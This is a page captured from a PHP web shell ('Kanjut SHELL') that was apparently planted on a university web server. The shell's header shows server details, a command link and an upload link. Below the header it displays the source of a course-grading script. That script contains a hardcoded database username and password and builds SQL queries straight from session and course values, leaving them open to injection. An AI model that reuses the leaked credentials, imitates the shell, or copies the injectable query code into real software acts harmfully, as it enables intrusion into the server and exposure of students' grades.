Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.17.76.174
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/cngray/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cngray/www/BBAssign.php
<?php
        session_start();
        if(!isset($_SESSION['username'])){
                header("location:BBWelcome.php");
        } else {
?>

<html>
<center>
<?php

        $username = $_SESSION['username'];
        $pass = $_SESSION['pass'];
        $check = $_SESSION['check'];
        $pro = $_SESSION['pro'];
        $_SESSION['username'] = $username;
        $_SESSION['pass'] = $pass;
        $_SESSION['check'] = 2;
        $host = 'localhost';
        $user = 'cngray';
        $passwd = 'vwccscngray';

	$course = $_SESSION['course'];
	$_SESSION['course'] = $course;
        $database = 'cngray';
        $connect = mysqli_connect($host, $user, $passwd);
        mysqli_select_db($connect, $database);

        $query = "select Course from Courses where Prof like '$pro'";
        $Result_id = mysqli_query($connect, $query);

        if($Result_id)
        {
		$course = str_replace(' ','', $course);

		print "Assignments for students in $course<br>";
		$query = "select Student from $course";
                $Result_id = mysqli_query($connect, $query)or die(mysqli_error($connect));
               	$numrows = mysqli_num_rows($Result_id);
		if($Result_id)
		{
			$Student_array = array();
			$i = 0;
			while($row = mysqli_fetch_row($Result_id))
			foreach($row as $field)
			{
				$Student_array[$i] = $field;
				$i++;
			}
			for($i = 0;$i < count($Student_array); $i++)
			{
				$Name = $Student_array[$i];
				$person = explode(" ", $Name);
                        	$First = $person[0];
                        	$Last = $person[1];

				$FL = $First[0];
				$USERNAME = $FL.$Last;
				$USERNAME = strtolower($USERNAME);

				$AQuery = "select *  from $USERNAME where Class like '$course'";
				$AResult = mysqli_query($connect, $AQuery) or die(mysqli_error($connect));
				$numrows = mysqli_num_rows($AResult);
				if($AResult)
				{
					print "<br><br>Assignments for $Name<br>";
					if($numrows == 0)
						print "No Assignments Entered<br>";
					else
					{
						print '<table border = 1>';
                                                print "<th>  Class <th> Assignment <th> Grade ";   
                                               	while($row = mysqli_fetch_row($AResult))
                                                {
                                               		print '<tr>';
                                                        foreach($row as $field)
                                                      		print "<td> $field </t>";
                                                        print '</tr>';
                                               	}
                                                print '<table border = 0>';
					}

				}
				else
					print "Could Not Retreave Assignments<br>";
			}
			Print "<br><br>Add Asignments?<br>Select Student And Enter Assignment and Grade<br>Or Click Edit to change or delete a grade.<br> ";
			?>
			<br>
			<form action = BBAASS.php method = post>
			<select name = student>
			<?php for($x = 0; $x < count($Student_array); $x++)
				print "<option> $Student_array[$x] </option>";
			?>
			</select><br>
			Assignment Name<Input type = text name = assignment><br>
			Grade<input type = text name = grade><br>
			<input type = submit value = "Enter Grade" name = EG>


			<br><br>Change or Delete a grade?<br>
			<input type = submit value = "Edit/Delete" name = ED>

			<?php
		}
		else
			print "Could not retreave Students<br>";
	}
	else
		print "Could Not connect<br>";

	?>
        <br><INPUT Type=button VALUE="Back" onClick="location.href = 'BBCourses.php'">
        <?php

	mysqli_close($connect);
}
?>

Stv3n404 - 2023